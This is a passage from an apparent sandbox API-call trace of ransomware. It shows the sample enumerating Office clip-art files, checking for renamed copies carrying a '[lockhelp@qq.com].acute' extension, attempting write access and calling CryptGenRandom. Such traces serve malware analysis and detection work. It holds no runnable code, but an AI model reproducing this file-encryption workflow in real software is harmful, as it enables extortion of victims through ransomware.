Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.778] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5030) returned 1 [0274.778] CloseHandle (hObject=0x30c) returned 1 [0274.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0274.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.778] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.779] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1146) returned 1 [0274.779] CloseHandle (hObject=0x30c) returned 1 [0274.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0274.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.779] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.779] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7583) returned 1 [0274.779] CloseHandle (hObject=0x30c) returned 1 [0274.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0274.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.779] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.780] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6984) returned 1 [0274.780] CloseHandle (hObject=0x30c) returned 1 [0274.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0274.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.780] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.781] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=13254) returned 1 [0274.781] CloseHandle (hObject=0x30c) returned 1 [0274.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0274.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.781] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.782] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=8582) returned 1 [0274.782] CloseHandle (hObject=0x30c) returned 1 [0274.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0274.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.782] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.782] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4894) returned 1 [0274.782] CloseHandle (hObject=0x30c) returned 1 [0274.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0274.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.782] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.782] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5375) returned 1 [0274.783] CloseHandle (hObject=0x30c) returned 1 [0274.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0274.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.783] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.783] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=9248) returned 1 [0274.783] CloseHandle (hObject=0x30c) returned 1 [0274.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0274.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.784] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.784] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5016) returned 1 [0274.784] CloseHandle (hObject=0x30c) returned 1 [0274.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0274.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.784] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.785] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4390) returned 1 [0274.785] CloseHandle (hObject=0x30c) returned 1 [0274.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0274.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.785] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.785] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3966) returned 1 [0274.785] CloseHandle (hObject=0x30c) returned 1 [0274.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0274.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.785] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.786] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3378) returned 1 [0274.786] CloseHandle (hObject=0x30c) returned 1 [0274.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0274.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.786] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.786] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3120) returned 1 [0274.786] CloseHandle (hObject=0x30c) returned 1 [0274.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0274.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.786] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.787] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3026) returned 1 [0274.787] CloseHandle (hObject=0x30c) returned 1 [0274.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0274.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.787] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.788] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4734) returned 1 [0274.788] CloseHandle (hObject=0x30c) returned 1 [0274.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0274.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.788] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.789] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5684) returned 1 [0274.789] CloseHandle (hObject=0x30c) returned 1 [0274.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0274.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.803] CryptGenRandom (in: 